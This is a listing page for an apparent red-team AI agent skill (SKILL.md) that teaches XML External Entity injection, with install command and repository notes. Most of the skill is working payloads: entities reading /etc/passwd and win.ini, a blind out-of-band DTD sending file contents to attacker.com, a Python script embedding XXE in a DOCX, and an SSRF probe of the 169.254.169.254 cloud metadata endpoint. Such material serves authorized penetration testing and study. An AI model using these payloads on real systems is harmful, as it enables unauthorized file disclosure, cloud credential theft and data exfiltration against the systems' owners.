Xxe

Skill sunilgentyala/OmniRed/skills/web/xxe

XML External Entity injection expert methodology. Covers classic XXE, blind OOB XXE, XXE via file upload, XXE to SSRF, and XXE in PDF/DOCX parsers.From its SKILL.md

Install

npx -y skills add sunilgentyala/OmniRed --skill xxe

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

2 things to look at

no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.
1 stars1 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its file declares

Copied from the file, not written here

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

1.9 KB, 536 tokens by cl100k_base, as published. Nobody here has run it

XML External Entity (XXE) Injection

Detection

Inject a custom DOCTYPE with an external entity reference:

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://burpcollaborator.net">]>
<root>&xxe;</root>

If the collaborator receives a DNS/HTTP callback: XXE confirmed.

Classic XXE (Local File Read)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">

Blind XXE (OOB via DTD)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]>
<foo>bar</foo>

malicious.dtd (hosted on attacker.com):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

XXE via File Upload

Test XML-based file formats: DOCX, XLSX, PPTX, SVG, ODT, RSS.

# DOCX = zip containing XML files — inject XXE into word/document.xml
import zipfile, shutil, os

shutil.copy('normal.docx', 'xxe.docx')
with zipfile.ZipFile('xxe.docx', 'a') as z:
    z.writestr('word/document.xml',
        '<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>')

XXE to SSRF

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>

Tools

Burp Suite — active scanner detects XXE
XXEInjector — automated XXE exfiltration
DTD cheat sheet — HackTricks reference

OWASP Mapping

A05:2021 — Security Misconfiguration (XML parser hardening)

What ships with it

Read from the repository

Just SKILL.md. No reference files, no scripts.